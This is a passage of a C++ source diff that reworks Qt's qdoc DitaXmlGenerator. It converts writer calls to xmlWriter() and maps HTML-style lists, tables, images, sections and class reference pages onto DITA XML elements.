- writer.writeStartElement("ul");
+ xmlWriter().writeStartElement("ul");
s = sections.constBegin();
while (s != sections.constEnd()) {
if (!(*s).members.isEmpty()) {
-
- writer.writeStartElement("li");
- writer.writeStartElement("xref");
- writer.writeAttribute("href",QString("#" + Doc::canonicalTitle((*s).name)));
- writer.writeCharacters((*s).name);
- writer.writeEndElement(); // </xref>
- writer.writeEndElement(); // </li>
+ QString li = outFileName() + "#" + Doc::canonicalTitle((*s).name);
+ writeXrefListItem(li, (*s).name);
}
++s;
}
- writer.writeEndElement(); // </ul>
+ xmlWriter().writeEndElement(); // </ul>
int idx = 0;
s = sections.constBegin();
while (s != sections.constEnd()) {
if (!(*s).members.isEmpty()) {
- writer.writeStartElement("p");
+ xmlWriter().writeStartElement("p");
writeGuidAttribute(Doc::canonicalTitle((*s).name));
- writer.writeAttribute("outputclass","h3");
- writer.writeCharacters(protectEnc((*s).name));
- writer.writeEndElement(); // </p>
+ xmlWriter().writeAttribute("outputclass","h3");
+ writeCharacters(protectEnc((*s).name));
+ xmlWriter().writeEndElement(); // </p>
if (idx == Class)
generateCompactList(0, marker, ncmap.value(), false, QString("Q"));
else if (idx == QmlClass)
@@ -975,23 +1020,23 @@ int DitaXmlGenerator::generateAtom(const Atom *atom,
pmap = parentmaps.begin();
while (pmap != parentmaps.end()) {
NodeList nlist = pmap->values();
- writer.writeStartElement("p");
- writer.writeCharacters("Class ");
- writer.writeStartElement("xref");
- writer.writeAttribute("href",linkForNode(pmap.key(), 0));
+ xmlWriter().writeStartElement("p");
+ xmlWriter().writeCharacters("Class ");
+ xmlWriter().writeStartElement("xref");
+ xmlWriter().writeAttribute("href",linkForNode(pmap.key(), 0));
QStringList pieces = fullName(pmap.key(), 0, marker).split("::");
- writer.writeCharacters(protectEnc(pieces.last()));
- writer.writeEndElement(); // </xref>
- writer.writeCharacters(":");
- writer.writeEndElement(); // </p>
+ writeCharacters(protectEnc(pieces.last()));
+ xmlWriter().writeEndElement(); // </xref>
+ xmlWriter().writeCharacters(":");
+ xmlWriter().writeEndElement(); // </p>
generateSection(nlist, 0, marker, CodeMarker::Summary);
- writer.writeEmptyElement("br");
++pmap;
}
}
- else
+ else {
generateSection(s->members, 0, marker, CodeMarker::Summary);
+ }
}
++idx;
++s;
@@ -1006,120 +1051,139 @@ int DitaXmlGenerator::generateAtom(const Atom *atom,
QString text;
if (atom->next() != 0)
text = atom->next()->string();
- if (atom->type() == Atom::Image) {
- writer.writeStartElement("p");
- writer.writeAttribute("outputclass","centerAlign");
- }
if (fileName.isEmpty()) {
- writer.writeStartElement("font");
- writer.writeAttribute("color","red");
- writer.writeCharacters("[Missing image: ");
- writer.writeCharacters(protectEnc(atom->string()));
- writer.writeEndElement(); // </font>
+ /*
+ Don't bother outputting an error message.
+ Just output the href as if the image is in
+ the images directory...
+ */
+ fileName = QLatin1String("images/") + protectEnc(atom->string());
}
+
+ xmlWriter().writeStartElement("fig");
+ xmlWriter().writeStartElement("image");
+ xmlWriter().writeAttribute("href",protectEnc(fileName));
+ if (atom->type() == Atom::InlineImage)
+ xmlWriter().writeAttribute("placement","inline");
else {
- writer.writeStartElement("img");
- writer.writeAttribute("src",protectEnc(fileName));
- if (!text.isEmpty())
- writer.writeAttribute("alt",protectEnc(text));
- writer.writeEndElement(); // </img>
+ xmlWriter().writeAttribute("placement","break");
+ xmlWriter().writeAttribute("align","center");
+ }
+ if (!text.isEmpty()) {
+ xmlWriter().writeStartElement("alt");
+ writeCharacters(protectEnc(text));
+ xmlWriter().writeEndElement(); // </alt>
}
- if (atom->type() == Atom::Image)
- writer.writeEndElement(); // </p>
+ xmlWriter().writeEndElement(); // </image>
+ xmlWriter().writeEndElement(); // </fig>
}
break;
case Atom::ImageText:
// nothing
break;
case Atom::LegaleseLeft:
- writer.writeStartElement("p");
- writer.writeAttribute("outputclass","legalese");
+ inLegaleseText = true;
break;
case Atom::LegaleseRight:
- writer.writeEndElement(); // </p>
+ inLegaleseText = false;
break;
case Atom::LineBreak:
- writer.writeEmptyElement("br");
+ //xmlWriter().writeEmptyElement("br");
break;
case Atom::Link:
{
const Node *node = 0;
QString myLink = getLink(atom, relative, marker, &node);
if (myLink.isEmpty()) {
- relative->doc().location().warning(tr("Cannot link to '%1' in %2")
+ relative->doc().location().warning(tr("Can't link to '%1' in %2")
.arg(atom->string())
.arg(marker->plainFullName(relative)));
}
- beginLink(myLink, node, relative, marker);
+ else if (!inSectionHeading) {
+ beginLink(myLink);
+ }
+#if 0
+ else {
+ //xmlWriter().writeCharacters(atom->string());
+ //qDebug() << "MYLINK:" << myLink << outFileName() << atom->string();
+ }
+#endif
+ skipAhead = 1;
+ }
+ break;
+ case Atom::GuidLink:
+ {
+#if 0
+ qDebug() << "GUID LINK:" << atom->string() << outFileName();
+#endif
+ beginLink(atom->string());
skipAhead = 1;
}
break;
case Atom::LinkNode:
{
- const Node *node = CodeMarker::nodeForString(atom->string());
- beginLink(linkForNode(node, relative), node, relative, marker);
+ const Node* node = CodeMarker::nodeForString(atom->string());
+ beginLink(linkForNode(node, relative));
skipAhead = 1;
}
break;
case Atom::ListLeft:
if (in_para) {
- writer.writeEndElement(); // </p>
+ xmlWriter().writeEndElement(); // </p>
in_para = false;
}
if (atom->string() == ATOM_LIST_BULLET) {
- writer.writeStartElement("ul");
+ xmlWriter().writeStartElement("ul");
}
else if (atom->string() == ATOM_LIST_TAG) {
- writer.writeStartElement("dl");
+ xmlWriter().writeStartElement("dl");
}
else if (atom->string() == ATOM_LIST_VALUE) {
threeColumnEnumValueTable = isThreeColumnEnumValueTable(atom);
if (threeColumnEnumValueTable) {
- writer.writeStartElement("table");
- writer.writeAttribute("outputclass","valuelist");
- writer.writeStartElement("tr");
- if (++numTableRows % 2 == 1)
- writer.writeAttribute("outputclass","odd");
- else
- writer.writeAttribute("outputclass","even");
- writer.writeStartElement("th");
- writer.writeCharacters("Constant");
- writer.writeEndElement(); // </th>
- writer.writeStartElement("th");
- writer.writeCharacters("Value");
- writer.writeEndElement(); // </th>
- writer.writeStartElement("th");
- writer.writeCharacters("Description");
- writer.writeEndElement(); // </th>
- writer.writeEndElement(); // </tr>
+ xmlWriter().writeStartElement("simpletable");
+ xmlWriter().writeAttribute("outputclass","valuelist");
+ xmlWriter().writeStartElement("sthead");
+ xmlWriter().writeStartElement("stentry");
+ xmlWriter().writeCharacters("Constant");
+ xmlWriter().writeEndElement(); // </stentry>
+ xmlWriter().writeStartElement("stentry");
+ xmlWriter().writeCharacters("Value");
+ xmlWriter().writeEndElement(); // </stentry>
+ xmlWriter().writeStartElement("stentry");
+ xmlWriter().writeCharacters("Description");
+ xmlWriter().writeEndElement(); // </stentry>
+ xmlWriter().writeEndElement(); // </sthead>
}
else {
- writer.writeStartElement("table");
- writer.writeAttribute("outputclass","valuelist");
- writer.writeStartElement("tr");
- writer.writeStartElement("th");
- writer.writeCharacters("Constant");
- writer.writeEndElement(); // </th>
- writer.writeStartElement("th");
- writer.writeCharacters("Value");
- writer.writeEndElement(); // </th>
- writer.writeEndElement(); // </tr>
+ xmlWriter().writeStartElement("simpletable");
+ xmlWriter().writeAttribute("outputclass","valuelist");
+ xmlWriter().writeStartElement("sthead");
+ xmlWriter().writeStartElement("stentry");
+ xmlWriter().writeCharacters("Constant");
+ xmlWriter().writeEndElement(); // </stentry>
+ xmlWriter().writeStartElement("stentry");
+ xmlWriter().writeCharacters("Value");
+ xmlWriter().writeEndElement(); // </stentry>
+ xmlWriter().writeEndElement(); // </sthead>
}
}
else {
- writer.writeStartElement("ol");
+ xmlWriter().writeStartElement("ol");
if (atom->string() == ATOM_LIST_UPPERALPHA)
- writer.writeAttribute("type","A");
+ xmlWriter().writeAttribute("outputclass","upperalpha");
else if (atom->string() == ATOM_LIST_LOWERALPHA)
- writer.writeAttribute("type","a");
+ xmlWriter().writeAttribute("outputclass","loweralpha");
else if (atom->string() == ATOM_LIST_UPPERROMAN)
- writer.writeAttribute("type","I");
+ xmlWriter().writeAttribute("outputclass","upperroman");
else if (atom->string() == ATOM_LIST_LOWERROMAN)
- writer.writeAttribute("type","i");
+ xmlWriter().writeAttribute("outputclass","lowerroman");
else // (atom->string() == ATOM_LIST_NUMERIC)
- writer.writeAttribute("type","1");
- if (atom->next() != 0 && atom->next()->string().toInt() != 1)
- writer.writeAttribute("start",atom->next()->string());
+ xmlWriter().writeAttribute("outputclass","numeric");
+ if (atom->next() != 0 && atom->next()->string().toInt() != 1) {
+ // I don't think this attribute is supported.
+ xmlWriter().writeAttribute("start",atom->next()->string());
+ }
}
break;
case Atom::ListItemNumber:
@@ -1127,19 +1191,17 @@ int DitaXmlGenerator::generateAtom(const Atom *atom,
break;
case Atom::ListTagLeft:
if (atom->string() == ATOM_LIST_TAG) {
- writer.writeStartElement("dt");
+ xmlWriter().writeStartElement("dt");
}
else { // (atom->string() == ATOM_LIST_VALUE)
- writer.writeStartElement("tr");
- writer.writeStartElement("td");
- writer.writeAttribute("outputclass","topAlign");
- writer.writeStartElement("tt");
- writer.writeCharacters(protectEnc(plainCode(marker->markedUpEnumValue(atom->next()->string(),
- relative))));
- writer.writeEndElement(); // </tt>
- writer.writeEndElement(); // </td>
- writer.writeStartElement("td");
- writer.writeAttribute("outputclass","topAlign");
+ xmlWriter().writeStartElement("strow");
+ xmlWriter().writeStartElement("stentry");
+ xmlWriter().writeStartElement("tt");
+ writeCharacters(protectEnc(plainCode(marker->markedUpEnumValue(atom->next()->string(),
+ relative))));
+ xmlWriter().writeEndElement(); // </tt>
+ xmlWriter().writeEndElement(); // </stentry>
+ xmlWriter().writeStartElement("stentry");
QString itemValue;
if (relative->type() == Node::Enum) {
@@ -1148,105 +1210,124 @@ int DitaXmlGenerator::generateAtom(const Atom *atom,
}
if (itemValue.isEmpty())
- writer.writeCharacters("?");
+ xmlWriter().writeCharacters("?");
else {
- writer.writeStartElement("tt");
- writer.writeCharacters(protectEnc(itemValue));
- writer.writeEndElement(); // </tt>
+ xmlWriter().writeStartElement("tt");
+ writeCharacters(protectEnc(itemValue));
+ xmlWriter().writeEndElement(); // </tt>
}
skipAhead = 1;
}
break;
case Atom::ListTagRight:
if (atom->string() == ATOM_LIST_TAG)
- writer.writeEndElement(); // </dt>
+ xmlWriter().writeEndElement(); // </dt>
break;
case Atom::ListItemLeft:
if (atom->string() == ATOM_LIST_TAG) {
- writer.writeStartElement("dd");
+ xmlWriter().writeStartElement("dd");
}
else if (atom->string() == ATOM_LIST_VALUE) {
if (threeColumnEnumValueTable) {
- writer.writeEndElement(); // </td>
- writer.writeStartElement("td");
- writer.writeAttribute("outputclass","topAlign");
- if (matchAhead(atom, Atom::ListItemRight))
- writer.writeCharacters("&nbsp;");
+ xmlWriter().writeEndElement(); // </stentry>
+ xmlWriter().writeStartElement("stentry");
}
}
else {
- writer.writeStartElement("li");
+ xmlWriter().writeStartElement("li");
}
if (matchAhead(atom, Atom::ParaLeft))
skipAhead = 1;
break;
case Atom::ListItemRight:
if (atom->string() == ATOM_LIST_TAG) {
- writer.writeEndElement(); // </dd>
+ xmlWriter().writeEndElement(); // </dd>
}
else if (atom->string() == ATOM_LIST_VALUE) {
- writer.writeEndElement(); // </td>
- writer.writeEndElement(); // </tr>
+ xmlWriter().writeEndElement(); // </stentry>
+ xmlWriter().writeEndElement(); // </strow>
}
else {
- writer.writeEndElement(); // </li>
+ xmlWriter().writeEndElement(); // </li>
}
break;
case Atom::ListRight:
if (atom->string() == ATOM_LIST_BULLET) {
- writer.writeEndElement(); // </ul>
+ xmlWriter().writeEndElement(); // </ul>
}
else if (atom->string() == ATOM_LIST_TAG) {
- writer.writeEndElement(); // </dl>
+ xmlWriter().writeEndElement(); // </dl>
}
else if (atom->string() == ATOM_LIST_VALUE) {
- writer.writeEndElement(); // </table>
+ xmlWriter().writeEndElement(); // </simpletable>
}
else {
- writer.writeEndElement(); // </ol>
+ xmlWriter().writeEndElement(); // </ol>
}
break;
case Atom::Nop:
// nothing
break;
case Atom::ParaLeft:
- writer.writeStartElement("p");
+ xmlWriter().writeStartElement("p");
+ if (inLegaleseText)
+ xmlWriter().writeAttribute("outputclass","legalese");
in_para = true;
break;
case Atom::ParaRight:
endLink();
if (in_para) {
- writer.writeEndElement(); // </p?
+ xmlWriter().writeEndElement(); // </p>
in_para = false;
}
break;
case Atom::QuotationLeft:
- writer.writeStartElement("blockquote");
+ xmlWriter().writeStartElement("lq");
break;
case Atom::QuotationRight:
- writer.writeEndElement(); // </blockquote>
+ xmlWriter().writeEndElement(); // </lq>
break;
case Atom::RawString:
- writer.writeCharacters(atom->string());
+ if (atom->string() == " ")
+ break;
+ if (atom->string().startsWith("&"))
+ writeCharacters(atom->string());
+ else if (atom->string() == "<sup>*</sup>") {
+ xmlWriter().writeStartElement("sup");
+ writeCharacters("*");
+ xmlWriter().writeEndElement(); // </sup>
+ }
+ else {
+ xmlWriter().writeStartElement("pre");
+ xmlWriter().writeAttribute("outputclass","raw-html");
+ writeCharacters(atom->string());
+ xmlWriter().writeEndElement(); // </pre>
+ }
break;
case Atom::SectionLeft:
- writer.writeStartElement("p");
+ if (inSection || inApiDesc) {
+ inApiDesc = false;
+ xmlWriter().writeEndElement(); // </section> or </apiDesc>
+ }
+ inSection = true;
+ xmlWriter().writeStartElement("section");
writeGuidAttribute(Doc::canonicalTitle(Text::sectionHeading(atom).toString()));
- writer.writeAttribute("outputclass","target");
- writer.writeCharacters(protectEnc(Text::sectionHeading(atom).toString()));
- writer.writeEndElement(); // </p>
+ xmlWriter().writeAttribute("outputclass","details");
break;
case Atom::SectionRight:
- // nothing
+ if (inSection) {
+ inSection = false;
+ xmlWriter().writeEndElement(); // </section>
+ }
break;
case Atom::SectionHeadingLeft:
- writer.writeStartElement("p");
+ xmlWriter().writeStartElement("title");
hx = "h" + QString::number(atom->string().toInt() + hOffset(relative));
- writer.writeAttribute("outputclass",hx);
+ xmlWriter().writeAttribute("outputclass",hx);
inSectionHeading = true;
break;
case Atom::SectionHeadingRight:
- writer.writeEndElement(); // </p> (see case Atom::SectionHeadingLeft)
+ xmlWriter().writeEndElement(); // </title> (see case Atom::SectionHeadingLeft)
inSectionHeading = false;
break;
case Atom::SidebarLeft:
@@ -1260,67 +1341,93 @@ int DitaXmlGenerator::generateAtom(const Atom *atom,
generateLink(atom, relative, marker);
}
else {
- writer.writeCharacters(protectEnc(atom->string()));
+ writeCharacters(protectEnc(atom->string()));
}
break;
case Atom::TableLeft:
- if (in_para) {
- writer.writeEndElement(); // </p>
- in_para = false;
+ {
+ if (in_para) {
+ xmlWriter().writeEndElement(); // </p>
+ in_para = false;
+ }
+ xmlWriter().writeStartElement("table");
+ numTableRows = 0;
+ if (tableColumnCount != 0) {
+ qDebug() << "ERROR: Nested tables!";
+ tableColumnCount = 0;
+ }
+ tableColumnCount = countTableColumns(atom->next());
+ xmlWriter().writeStartElement("tgroup");
+ xmlWriter().writeAttribute("cols",QString::number(tableColumnCount));
+ inTableHeader = false;
+ inTableBody = false;
}
- writer.writeStartElement("table");
- writer.writeAttribute("outputclass","generic");
- numTableRows = 0;
break;
case Atom::TableRight:
- writer.writeEndElement(); // </table>
+ xmlWriter().writeEndElement(); // </tbody>
+ xmlWriter().writeEndElement(); // </tgroup>
+ xmlWriter().writeEndElement(); // </table>
+ inTableHeader = false;
+ inTableBody = false;
+ tableColumnCount = 0;
break;
case Atom::TableHeaderLeft:
- writer.writeStartElement("thead");
- writer.writeStartElement("tr");
- writer.writeAttribute("outputclass","qt-style topAlign");
+ if (inTableBody) {
+ xmlWriter().writeEndElement(); // </tbody>
+ xmlWriter().writeEndElement(); // </tgroup>
+ xmlWriter().writeEndElement(); // </table>
+ inTableHeader = false;
+ inTableBody = false;
+ tableColumnCount = 0;
+ xmlWriter().writeStartElement("table");
+ numTableRows = 0;
+ tableColumnCount = countTableColumns(atom);
+ xmlWriter().writeStartElement("tgroup");
+ xmlWriter().writeAttribute("cols",QString::number(tableColumnCount));
+ }
+ xmlWriter().writeStartElement("thead");
+ xmlWriter().writeAttribute("valign","top");
+ xmlWriter().writeStartElement("row");
+ xmlWriter().writeAttribute("valign","top");
inTableHeader = true;
+ inTableBody = false;
break;
case Atom::TableHeaderRight:
- writer.writeEndElement(); // </tr>
+ xmlWriter().writeEndElement(); // </row>
if (matchAhead(atom, Atom::TableHeaderLeft)) {
skipAhead = 1;
- writer.writeStartElement("tr");
- writer.writeAttribute("outputclass","qt-style topAlign");
+ xmlWriter().writeStartElement("row");
+ xmlWriter().writeAttribute("valign","top");
}
else {
- writer.writeEndElement(); // </thead>
+ xmlWriter().writeEndElement(); // </thead>
inTableHeader = false;
+ inTableBody = true;
+ xmlWriter().writeStartElement("tbody");
}
break;
case Atom::TableRowLeft:
- writer.writeStartElement("tr");
- if (++numTableRows % 2 == 1)
- writer.writeAttribute("outputclass","odd topAlign");
- else
- writer.writeAttribute("outputclass","even topAlign");
+ if (!inTableHeader && !inTableBody) {
+ inTableBody = true;
+ xmlWriter().writeStartElement("tbody");
+ }
+ xmlWriter().writeStartElement("row");
+ xmlWriter().writeAttribute("valign","top");
break;
case Atom::TableRowRight:
- writer.writeEndElement(); // </tr>\n";
+ xmlWriter().writeEndElement(); // </row>
break;
case Atom::TableItemLeft:
{
- if (inTableHeader)
- writer.writeStartElement("th");
- else
- writer.writeStartElement("td");
-
+ xmlWriter().writeStartElement("entry");
QStringList spans = atom->string().split(",");
if (spans.size() == 2) {
-#if zzz
-
- if (spans.at(0) != "1")
- out() << " colspan=\"" << spans.at(0) << "\"";
- if (spans.at(1) != "1")
- out() << " rowspan=\"" << spans.at(1) << "\"";
-#endif
- if (!inTableHeader)
- writer.writeStartElement("p");
+ if (inTableHeader ||
+ (spans[0].toInt() != 1) ||
+ (spans[1].toInt() != 1)) {
+ QString s = "span(" + spans[0] + "," + spans[1] + ")";
+ xmlWriter().writeAttribute("outputclass",s);
+ }
}
if (matchAhead(atom, Atom::ParaLeft))
skipAhead = 1;
@@ -1328,10 +1435,9 @@ int DitaXmlGenerator::generateAtom(const Atom *atom,
break;
case Atom::TableItemRight:
if (inTableHeader)
- writer.writeEndElement(); // </th>
+ xmlWriter().writeEndElement(); // </entry>
else {
- writer.writeEndElement(); // </p>
- writer.writeEndElement(); // </td>
+ xmlWriter().writeEndElement(); // </entry>
}
if (matchAhead(atom, Atom::ParaLeft))
skipAhead = 1;
@@ -1339,7 +1445,7 @@ int DitaXmlGenerator::generateAtom(const Atom *atom,
case Atom::TableOfContents:
{
int numColumns = 1;
- const Node *node = relative;
+ const Node* node = relative;
Doc::SectioningUnit sectioningUnit = Doc::Section4;
QStringList params = atom->string().split(",");
@@ -1366,30 +1472,32 @@ int DitaXmlGenerator::generateAtom(const Atom *atom,
}
break;
case Atom::Target:
- writer.writeStartElement("p");
+ if (in_para) {
+ xmlWriter().writeEndElement(); // </p>
+ in_para = false;
+ }
+ xmlWriter().writeStartElement("p");
writeGuidAttribute(Doc::canonicalTitle(atom->string()));
- writer.writeAttribute("outputclass","target");
- writer.writeCharacters(protectEnc(atom->string()));
- writer.writeEndElement(); // </p>
+ xmlWriter().writeAttribute("outputclass","target");
+ //xmlWriter().writeCharacters(protectEnc(atom->string()));
+ xmlWriter().writeEndElement(); // </p>
break;
case Atom::UnhandledFormat:
- writer.writeStartElement("b");
- writer.writeAttribute("outputclass","redFont");
- writer.writeCharacters("&lt;Missing DITAXML&gt");
- writer.writeEndElement(); // </b>
+ xmlWriter().writeStartElement("b");
+ xmlWriter().writeAttribute("outputclass","error");
+ xmlWriter().writeCharacters("<Missing DITAXML>");
+ xmlWriter().writeEndElement(); // </b>
break;
case Atom::UnknownCommand:
- writer.writeStartElement("b");
- writer.writeAttribute("outputclass","redFont code");
- writer.writeCharacters(protectEnc(atom->string()));
- writer.writeEndElement(); // </b>
+ xmlWriter().writeStartElement("b");
+ xmlWriter().writeAttribute("outputclass","error unknown-command");
+ writeCharacters(protectEnc(atom->string()));
+ xmlWriter().writeEndElement(); // </b>
break;
-#ifdef QDOC_QML
case Atom::QmlText:
case Atom::EndQmlText:
// don't do anything with these. They are just tags.
break;
-#endif
default:
// unknownAtom(atom);
break;
@@ -1398,294 +1506,510 @@ int DitaXmlGenerator::generateAtom(const Atom *atom,
}
/*!
- Generate a reference page for a C++ class.
+ Generate a <cxxClass> element (and all the stuff inside it)
+ for the C++ class represented by \a innerNode. \a marker is
+ for marking up the code. I don't know what that means exactly.
*/
void
DitaXmlGenerator::generateClassLikeNode(const InnerNode* inner, CodeMarker* marker)
{
- QList<Section> sections;
QList<Section>::ConstIterator s;
- const ClassNode* cn = 0;
- const NamespaceNode* namespasse = 0;
-
QString title;
QString rawTitle;
QString fullTitle;
if (inner->type() == Node::Namespace) {
- namespasse = const_cast<NamespaceNode*>(static_cast<const NamespaceNode*>(inner));
+ const NamespaceNode* nsn = const_cast<NamespaceNode*>(static_cast<const NamespaceNode*>(inner));
rawTitle = marker->plainName(inner);
fullTitle = marker->plainFullName(inner);
title = rawTitle + " Namespace";
+
+ /*
+ Note: Because the C++ specialization we are using
+ has no <cxxNamespace> element, we are using the
+ <cxxClass> element with an outputclass attribute
+ set to "namespace" .
+ */
+ generateHeader(inner, fullTitle);
+ generateBrief(inner, marker); // <shortdesc>
+
+ // not included: <prolog>
+
+ xmlWriter().writeStartElement(CXXCLASSDETAIL);
+ xmlWriter().writeStartElement(CXXCLASSDEFINITION);
+ writeLocation(nsn);
+ xmlWriter().writeEndElement(); // <cxxClassDefinition>
+
+ xmlWriter().writeStartElement("apiDesc");
+ xmlWriter().writeAttribute("spectitle",title);
+ Text brief = nsn->doc().briefText(); // zzz
+ if (!brief.isEmpty()) {
+ xmlWriter().writeStartElement("p");
+ generateText(brief, nsn, marker);
+ xmlWriter().writeEndElement(); // </p>
+ }
+ generateIncludes(nsn, marker);
+ generateStatus(nsn, marker);
+ generateThreadSafeness(nsn, marker);
+ generateSince(nsn, marker);
+ xmlWriter().writeEndElement(); // </apiDesc>
+
+ bool needOtherSection = false;
+ QList<Section> summarySections;
+ summarySections = marker->sections(inner, CodeMarker::Summary, CodeMarker::Okay);
+ s = summarySections.begin();
+ while (s != summarySections.end()) {
+ if (s->members.isEmpty() && s->reimpMembers.isEmpty()) {
+ if (!s->inherited.isEmpty())
+ needOtherSection = true;
+ }
+ else {
+ QString attr;
+ if (!s->members.isEmpty()) {
+ xmlWriter().writeStartElement("section");
+ attr = cleanRef((*s).name).toLower() + " redundant";
+ xmlWriter().writeAttribute("outputclass",attr);
+ xmlWriter().writeStartElement("title");
+ xmlWriter().writeAttribute("outputclass","h2");
+ writeCharacters(protectEnc((*s).name));
+ xmlWriter().writeEndElement(); // </title>
+ generateSection(s->members, inner, marker, CodeMarker::Summary);
+ generateSectionInheritedList(*s, inner, marker);
+ xmlWriter().writeEndElement(); // </section>
+ }
+ if (!s->reimpMembers.isEmpty()) {
+ QString name = QString("Reimplemented ") + (*s).name;
+ attr = cleanRef(name).toLower() + " redundant";
+ xmlWriter().writeStartElement("section");
+ xmlWriter().writeAttribute("outputclass",attr);
+ xmlWriter().writeStartElement("title");
+ xmlWriter().writeAttribute("outputclass","h2");
+ writeCharacters(protectEnc(name));
+ xmlWriter().writeEndElement(); // </title>
+ generateSection(s->reimpMembers, inner, marker, CodeMarker::Summary);
+ generateSectionInheritedList(*s, inner, marker);
+ xmlWriter().writeEndElement(); // </section>
+ }
+ }
+ ++s;
+ }
+ if (needOtherSection) {
+ xmlWriter().writeStartElement("section");
+ xmlWriter().writeAttribute("outputclass","additional-inherited-members redundant");
+ xmlWriter().writeStartElement("title");
+ xmlWriter().writeAttribute("outputclass","h3");
+ xmlWriter().writeCharacters("Additional Inherited Members");
+ xmlWriter().writeEndElement(); // </title>
+ s = summarySections.begin();
+ while (s != summarySections.end()) {
+ if (s->members.isEmpty())
+ generateSectionInheritedList(*s, inner, marker);
+ ++s;
+ }
+ xmlWriter().writeEndElement(); // </section>
+ }
+
+ writeDetailedDescription(nsn, marker, false, QString("Detailed Description"));
+ xmlWriter().writeEndElement(); // </cxxClassDetail>
+
+ // not included: <related-links>
+ // not included: <cxxClassNested>
+
+ QList<Section> detailSections;
+ detailSections = marker->sections(inner, CodeMarker::Detailed, CodeMarker::Okay);
+ s = detailSections.begin();
+ while (s != detailSections.end()) {
+ if ((*s).name == "Classes") {
+ writeNestedClasses((*s),nsn);
+ break;
+ }
+ ++s;
+ }
+
+ s = detailSections.begin();
+ while (s != detailSections.end()) {
+ if ((*s).name == "Function Documentation") {
+ writeFunctions((*s),nsn,marker);
+ }
+ else if ((*s).name == "Type Documentation") {
+ writeEnumerations((*s),marker);
+ writeTypedefs((*s),marker);
+ }
+ else if ((*s).name == "Namespaces") {
+ qDebug() << "Nested namespaces" << outFileName();
+ }
+ else if ((*s).name == "Macro Documentation") {
+ writeMacros((*s),marker);
+ }
+ ++s;
+ }
+
+ generateLowStatusMembers(inner,marker,CodeMarker::Obsolete);
+ generateLowStatusMembers(inner,marker,CodeMarker::Compat);
+ xmlWriter().writeEndElement(); // </cxxClass>
}
else if (inner->type() == Node::Class) {
- cn = const_cast<ClassNode*>(static_cast<const ClassNode*>(inner));
+ const ClassNode* cn = const_cast<ClassNode*>(static_cast<const ClassNode*>(inner));
rawTitle = marker->plainName(inner);
fullTitle = marker->plainFullName(inner);
title = rawTitle + " Class Reference";
- generateHeader(inner);
-
- writer.writeStartElement(CXXCLASS);
- writer.writeAttribute("id",cn->guid());
- writer.writeStartElement(APINAME);
- writer.writeCharacters(fullTitle);
- writer.writeEndElement(); // </apiName>
+ generateHeader(inner, fullTitle);
+ generateBrief(inner, marker); // <shortdesc>
- generateBrief(inner, marker);
+ // not included: <prolog>
- writer.writeStartElement(CXXCLASSDETAIL);
- writer.writeStartElement(CXXCLASSDEFINITION);
- writer.writeStartElement(CXXCLASSACCESSSPECIFIER);
- writer.writeAttribute("value",inner->accessString());
- writer.writeEndElement(); // <cxxClassAccessSpecifier>
+ xmlWriter().writeStartElement(CXXCLASSDETAIL);
+ xmlWriter().writeStartElement(CXXCLASSDEFINITION);
+ xmlWriter().writeStartElement(CXXCLASSACCESSSPECIFIER);
+ xmlWriter().writeAttribute("value",inner->accessString());
+ xmlWriter().writeEndElement(); // <cxxClassAccessSpecifier>
if (cn->isAbstract()) {
- writer.writeStartElement(CXXCLASSABSTRACT);
- writer.writeAttribute("name","abstract");
- writer.writeAttribute("value","abstract");
- writer.writeEndElement(); // </cxxClassAbstract>
+ xmlWriter().writeStartElement(CXXCLASSABSTRACT);
+ xmlWriter().writeAttribute("name","abstract");
+ xmlWriter().writeAttribute("value","abstract");
+ xmlWriter().writeEndElement(); // </cxxClassAbstract>
}
- writeDerivations(cn, marker);
- writeLocation(cn);
- writer.writeEndElement(); // <cxxClassDefinition>
- writer.writeStartElement(APIDESC);
+ writeDerivations(cn, marker); // <cxxClassDerivations>
+
+ // not included: <cxxClassTemplateParameters>
- if (!inner->doc().isEmpty()) {
- writer.writeStartElement("p");
- writer.writeAttribute("outputclass","h2");
- writer.writeCharacters("Detailed Description");
- writer.writeEndElement(); // </p>
- generateBody(inner, marker);
- // generateAlsoList(inner, marker);
+ writeLocation(cn);
+ xmlWriter().writeEndElement(); // <cxxClassDefinition>
+
+ xmlWriter().writeStartElement("apiDesc");
+ xmlWriter().writeAttribute("spectitle",title);
+ Text brief = cn->doc().briefText(); // zzz
+ if (!brief.isEmpty()) {
+ xmlWriter().writeStartElement("p");
+ generateText(brief, cn, marker);
+ xmlWriter().writeEndElement(); // </p>
+ }
+ generateIncludes(cn, marker);
+ generateStatus(cn, marker);
+ generateInherits(cn, marker);
+ generateInheritedBy(cn, marker);
+ generateThreadSafeness(cn, marker);
+ generateSince(cn, marker);
+ xmlWriter().writeEndElement(); // </apiDesc>
+
+ bool needOtherSection = false;
+ QList<Section> summarySections;
+ summarySections = marker->sections(inner, CodeMarker::Summary, CodeMarker::Okay);
+ s = summarySections.begin();
+ while (s != summarySections.end()) {
+ if (s->members.isEmpty() && s->reimpMembers.isEmpty()) {
+ if (!s->inherited.isEmpty())
+ needOtherSection = true;
+ }
+ else {
+ QString attr;
+ if (!s->members.isEmpty()) {
+ xmlWriter().writeStartElement("section");
+ attr = cleanRef((*s).name).toLower() + " redundant";
+ xmlWriter().writeAttribute("outputclass",attr);
+ xmlWriter().writeStartElement("title");
+ xmlWriter().writeAttribute("outputclass","h2");
+ writeCharacters(protectEnc((*s).name));
+ xmlWriter().writeEndElement(); // </title>
+ generateSection(s->members, inner, marker, CodeMarker::Summary);
+ generateSectionInheritedList(*s, inner, marker);
+ xmlWriter().writeEndElement(); // </section>
+ }
+ if (!s->reimpMembers.isEmpty()) {
+ QString name = QString("Reimplemented ") + (*s).name;
+ attr = cleanRef(name).toLower() + " redundant";
+ xmlWriter().writeStartElement("section");
+ xmlWriter().writeAttribute("outputclass",attr);
+ xmlWriter().writeStartElement("title");
+ xmlWriter().writeAttribute("outputclass","h2");
+ writeCharacters(protectEnc(name));
+ xmlWriter().writeEndElement(); // </title>
+ generateSection(s->reimpMembers, inner, marker, CodeMarker::Summary);
+ generateSectionInheritedList(*s, inner, marker);
+ xmlWriter().writeEndElement(); // </section>
+ }
+ }
+ ++s;
}
-
- writer.writeEndElement(); // </apiDesc>
- writer.writeEndElement(); // </cxxClassDetail>
+ if (needOtherSection) {
+ xmlWriter().writeStartElement("section");
+ xmlWriter().writeAttribute("outputclass","additional-inherited-members redundant");
+ xmlWriter().writeStartElement("title");
+ xmlWriter().writeAttribute("outputclass","h3");
+ xmlWriter().writeCharacters("Additional Inherited Members");
+ xmlWriter().writeEndElement(); // </title>
+ s = summarySections.begin();
+ while (s != summarySections.end()) {
+ if (s->members.isEmpty())
